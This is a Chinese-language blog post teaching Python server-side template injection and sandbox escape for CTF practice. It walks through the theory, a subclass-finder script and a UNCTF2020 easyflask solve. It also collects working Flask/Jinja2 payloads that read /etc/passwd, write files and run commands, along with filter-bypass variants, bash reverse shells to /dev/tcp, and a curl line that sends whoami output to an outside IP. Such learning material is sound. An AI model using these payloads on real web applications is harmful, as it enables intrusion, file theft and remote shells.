close
前言
之前也接觸過什麼是SSTI,但大多以題目進行了解,很多模塊以及payload都不了解其意就直接拿過來用,感覺並沒有學到什麼東西,最主要的是在繞過的過程中,不清楚原理沒有辦法構造,這次就好好來學習一下原理以及姿勢
一、基礎知識0x00:沙盒逃逸
沙箱逃逸,就是在一個代碼執行環境下(Oj或使用socat生成的交互式終端),脫離種種過濾和限制,最終成功拿到shell權限的過程
0x01:python的內建函數
啟動python解釋器時,即使沒有創建任何變量或函數,還是會有很多函數可供使用,這些就是python的內建函數
在python交互模式下,使用命令dir('builtins')即可查看當前python版本的一些內建變量、內建函數
內建函數非常強大,可以調用一切函數
0x02:名稱空間
內建函數是怎麼工作的哪?就需要了解一下名稱空間
python的名稱空間,是從名稱到對象的映射,在python程序的執行過程中,至少會存在兩個名稱空間。
1、內建名稱空間:python自帶的名字,在python解釋器啟動時產生,存放一些python內置的名字2、全局名稱空間:在執行文件時,存放文件級別定義的名字3、局部名稱空間(可能不存在):在執行文件的過程中,如果調用了函數,則會產生該函數的名稱空間,用來存放該函數內定義的名字,該名字在函數調用時生效,調用結束後失效
加載順序:
內置名稱空間—>全局名稱空間—>局部名稱空間
名字的查找順序:
局部名稱空間—>全局名稱空間—>內置名稱空間
在python中,初始的builtins模塊提供內建名稱空間到內建對象的映射
在沒有提供對象的時候,將會提供當前環境所導入的所有模塊,不管是哪個版本,可以看到__builtins__是做為默認初始模塊出現的,使用dir()命令查看一下__builtins__
可以看到有很多關鍵字
__import__ open
這也就是為什麼python解釋器里能夠直接使用某些函數的原因,加載順序操作python解釋器會自動執行,所以我們能直接看到一個函數被使用,如:使用print函數
0x03:類繼承
上面了解了什麼是名稱空間,要學會構造SSTI的payload,還需要學習一下類繼承,那什麼是類繼承那?
python中一切均為對象,均繼承於object對象,python的object類中集成了很多的基礎函數,假如我們需要在payload中使用某個函數就需要用object去操作。
常見的繼承關係的方法有以下三種:
__base__:對象的一個基類,一般情況下是object
__mro__:獲取對象的基類,只是這時會顯示出整個繼承鏈的關係,是一個列表,object在最底層所以在列表中的最後,通過__mro__[-1]可以獲取到
__subclasses__():繼承此對象的子類,返回一個列表
考察SSTI的CTF題目一般都是給個變量,因為有這些類繼承的方法,便可以從任何一個變量,回溯到基類中去,再獲得到此基類所有實現的類,這便是攻擊方式:
從變量->對象->基類->子類遍歷->全局變量
找到我們想要的模塊或者函數,然後進行構造payload。
0x04:常見payload分析
通過掌握上面的基礎知識便可以來簡單分析一下常見的payload,如:
#python2''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].popen('ls').read()
先來了解一些內建屬性的作用:
__class__返回調用的參數類型
__bases__返回類型列表
__globals__以字典類型返回當前位置的全部全局變量
將payload拆解下,一點一點來看
1、''返回的是字符串類型
2、加上__mro__返回的是繼承鏈關係
3、再添加上__subclasses__()返回的便是類的所有子類
定位到需要的子類
4、接下來添加上__init__用傳入的參數來初始化實例,使用__globals__以字典返回內建模塊
5、調用成功,接下來就可以執行命令了
如果是python3的話,那這個payload就需要重新修改,因為python3返回的不再是site.Printer類,而是ContextVar類
''.__class__.__mro__[-1].__subclasses__()[72]返回的是ContextVar類
如果一個一個去找太麻煩,可以使用命令
for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print (i)
將__subclasses__()每個字類都返回出來
這樣便方便找到自己想要的子類
0x05:考察的Web框架及模板引擎
一般出SSTI題考察的Web框架有以下幾種:
flask
Tornado
Django
因為每個框架涉及的知識都很多,這裡就不再詳細記錄了,只記錄一下在做題的時候可能會遇到的配置文件
Tornado:handler.settings
這個是Tornado框架本身提供給程序員可快速訪問的配置文件對象之一
handler.settings-> RequestHandler.application.settings可以獲取當前application.settings,從中獲取到敏感信息
[護網杯 2018]easy_tornado便考察了這個點
flaks:內置函數
config 是Flask模版中的一個全局對象,代表「當前配置對象(flask.config)」,是一個類字典的對象,包含了所有應用程序的配置值。在大多數情況下,包含了比如數據庫鏈接字符串,連接到第三方的憑證,SECRET_KEY等敏感值。
url_for()— 用於反向解析,生成url
get_flashed_messages()— 用於獲取flash消息
{{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}
如果過濾了{{config}}且框架是flask的話便可以使用如下payload進行代替
{{get_flashed_messages.__globals__['current_app'].config}}{{url_for.__globals__['current_app'].config}}
shrine便考察了這個知識點
模板引擎有以下幾種:
jinja2
Twig
Smarty(PHP)
Mako
要判斷是哪個模板引擎,可以參考下圖或者使用工具tplmap進行檢測
0x06:Python常用的命令執行方式
1、os.system()
該方法的參數就是string類型的命令,在linux上,返回值為執行命令的exit值;而windows上,返回值則是運行命令後,shell的返回值。注意:該函數返回命令執行結果的返回值,並不是返回命令的執行輸出(執行成功返回0,失敗返回-1)
2、os.popen()
返回的是file read的對象,如果想獲取執行命令的輸出,則需要調用該對象的read()方法

二、姿勢匯總0x00:做題思考
一般遇到SSTI的題目時都是直接去搜現成的payload,然後進行套用,但有的時候考察的點或者是python環境不同,就可能出現上面的類差異,從而導致payload無法正常使用,解不出題來
所以在做題的時候就要思考,需要的是什麼模塊,比如想要os模塊,那麼就可以通過編寫腳本查找os模塊就會非常方便一些
python2
num = 0for item in ''.__class__.__mro__[-1].__subclasses__(): try: if 'os' in item.__init__.__globals__: print num,item num+=1 except: num+=1
python3
原理相同,但是python3環境變化了,例如python2下有file而python3沒有,所以直接用open。python3的利用主要索引在於builtins,找到了它便可以利用其中的eval、open等等來執行想要的操作
#!/usr/bin/python3# coding=utf-8# python 3.5#jinja2模板from flask import Flaskfrom jinja2 import Template# Some of special namessearchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']neededFunction = ['eval', 'open', 'exec']pay = int(input("Payload?[1|0]"))for index, i in enumerate({}.__class__.__base__.__subclasses__()): for attr in searchList: if hasattr(i, attr): if eval('str(i.'+attr+')[1:9]') == 'function': for goal in neededFunction: if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')): if pay != 1: print(i.__name__,":", attr, goal) else: print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")
0x01:常見payload
有現成的payload肯定用起來香啊,還是總結一些,方便之後自己再做類似的題目參考
python2
#python2有file#讀取密碼''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()#寫文件''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')#OS模塊system''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')popen''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()#eval''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")#__import__''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()#反彈shell''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服務器地址/端口 0>&1').read()().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/xxxx/9999 0>&1"')注意該Payload不能直接放在 URL 中執行 , 因為 & 的存在會導致 URL 解析出現錯誤,可以使用burp等工具#request.environ與服務器環境相關的對象字典
python3
#python3沒有file,用的是open#文件讀取{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}{{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("dir").read()')}}#命令執行{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')
https://github.com/payloadbox/ssti-payloads
其他的就不再一一列舉了,可以參考Github上的。
0x02:Bypass姿勢
拼接繞過
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()
編碼繞過
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))(#等價於().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")
過濾中括號[]
#使用getitem()\pop()__mro__[2]== __mro__.__getitem__(2)''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
過濾{{或}}
使用{%進行繞過
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}
過濾_ 和引號
可以用|attr繞過
{{()|attr(request.values.a)}}&a=class
使用request對象繞過,假設過濾了__class__,可以使用下面的形式進行替代
#1{{''[request.args.t1]}}&t1=__class__#若request.args改為request.values則利用post的方式進行傳參#2{{''[request['args']['t1']]}}&t1=__class__#若使用POST,args換成form即可
過濾.
可以使用attr()或[]繞過
#attr(){{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}#[]{{ config['__class__']['__init__']['__globals__']['os']['popen']('dir')['read']() }}
reload
如果reload可以用則可以重載,從而恢復內建函數
reload(__builtins__)

三、題目實踐UNCTF2020-easyflask
存在SSTI,先fuzz一下,看看都過濾什麼
import requestsfrom time import sleepdic = ['config','class', 'bases','_','\'','subclasses', '[', '(', 'read', 'mro', 'init', 'globals', 'builtins', 'file', 'func_globals', 'linecache', 'system', 'values', 'import', 'module', 'call', 'name', 'getitem', 'pop', 'args', 'path', 'popen', 'eval', 'end', 'for', 'if', 'config']pass_dic = []for i in dic: url = "http://6f38b1e6-520d-47ff-a72b-14e481f513cb.node1.hackingfor.fun/secret_route_you_do_not_know?guess={}".format(i) res = requests.get(url=url).text # print(res) # sleep(1) if 'black list filter' in res: pass_dic.append(i) print(pass_dic)
過濾了' _ [ ],那接下來就要思考怎麼去構造payload了,上面總結的payload直接拿來用肯定會被過濾,因為大多數涉及到了[,但可以使用|attr和request.args.xx來繞過下劃線和引號,只要明白原理,便可以使用上面的payload修改一下即可
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}
拿這個payload進行修改之後
{{()|attr(request.args.class)|attr(request.args.bases)|attr(request.args.subclasses)()|attr(request.args.getitem)(117)|attr(request.args.init)|attr(request.args.globals)|attr(request.args.d)(request.args.e)(request.args.f)|attr(request.args.g)()}}&class=__class__&bases=__base__&subclasses=__subclasses__&getitem=__getitem__&init=__init__&globals=__globals__&d=get&e=popen&f=cat flag.txt&g=read
payload有很多,只要能從基類獲取到全局變量,之後一步一步調用就可以

參考博客
https://blog.csdn.net/weixin_44604541/article/details/109048578https://www.anquanke.com/post/id/188172https://www.cnblogs.com/-chenxs/p/11971164.html


- 結尾 -
精彩推薦
【技術分享】從 CVE-2017-0263 漏洞分析到菜單管理組件(上)
【技術分享】Lua程序逆向之Luajit字節碼與反匯編
【技術分享】2020 「第五空間」 智能安全大賽 Web Writeup
戳「閱讀原文」查看更多內
arrow
arrow
    全站熱搜
    創作者介紹
    創作者 鑽石舞台 的頭像
    鑽石舞台

    鑽石舞台

    鑽石舞台 發表在 痞客邦 留言(0) 人氣()